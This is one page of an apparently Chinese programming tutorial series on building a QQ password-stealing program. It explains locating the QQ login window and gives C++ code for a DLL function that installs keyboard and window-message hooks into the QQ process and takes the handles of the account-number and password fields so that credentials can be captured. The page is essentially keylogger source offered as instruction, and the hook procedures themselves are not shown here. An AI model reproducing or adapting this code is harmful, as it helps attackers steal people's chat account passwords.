WEB开发网
开发学院软件开发VC 盗QQ的密码软件模拟实现 阅读

盗QQ的密码软件模拟实现

 2006-07-20 11:40:42 来源:WEB开发网   
核心提示: 上面就是查找QQ登陆窗口句柄的过程,从代码可以看出我用的方法:找一个其子窗体中有一个标题为“ 登录QQ”的BUTTON的对话框(这句话说得有点饶口,盗QQ的密码软件模拟实现(2),这句话如果也看不懂,下面您不用看了:() 我最开始是想利用 FindWindow(NU

上面就是查找QQ登陆窗口句柄的过程,从代码可以看出我用的方法:找一个其子窗体中有一个标题为“ 登录QQ”的BUTTON的对话框(这句话说得有点饶口,这句话如果也看不懂,下面您不用看了:() 我最开始是想利用 FindWindow(NULL,"QQ用户登陆窗口")来查找,但是我用Spy++看了QQ登陆窗口的标题并不是“QQ用户登陆窗口”,而是“乱码”,其中包含了回车键等特殊字符,于是我用了FindWindowEx().

第二部分:(2)安装钩子

找到了QQ登陆窗口后,就成功了一半。:)

下面是DLL文件中的安装HOOK的函数SetQQHook(), 为什么要用DLL(动态连接库)?要去“钩”其他进程的消息,得让HOOK函数在DLL中,这样好映射到其地址空间中! BOOL WINAPI SetQQHook(HWND hQQLogin)
{
  //获得登陆框的句柄
  BOOL bRet = FALSE;
  if (hQQLogin != NULL)
  {
     DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //这是什么意思?看MSDN
  
     g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ,此处不一样! 得到QQ号的子窗口句柄
     g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQ,此处不一样!得到QQ密码的子窗口句柄
    if (g_hNum == NULL)
    {
      MessageBox(NULL,"哭了,号码句柄都没有得到!","郁闷",0);
      return FALSE;
    }
    if(g_hPsw==NULL)
    {
      MessageBox(NULL,"哭了,密码句柄都没有得到!","郁闷",0);
      return FALSE;
    }
        分别键盘HOOK,和界面部分消息处理的HOOK
    g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
    g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
    bRet = (g_hProc != NULL) && (g_hKey != NULL);
  }
  else
  {
    // 卸载钩子
    bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
    g_hProc = NULL;
    g_hKey = NULL;
    g_hNum = NULL;
  }
  return bRet;
}

上一页  1 2 3 4 5  下一页

Tags:QQ 密码 软件

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接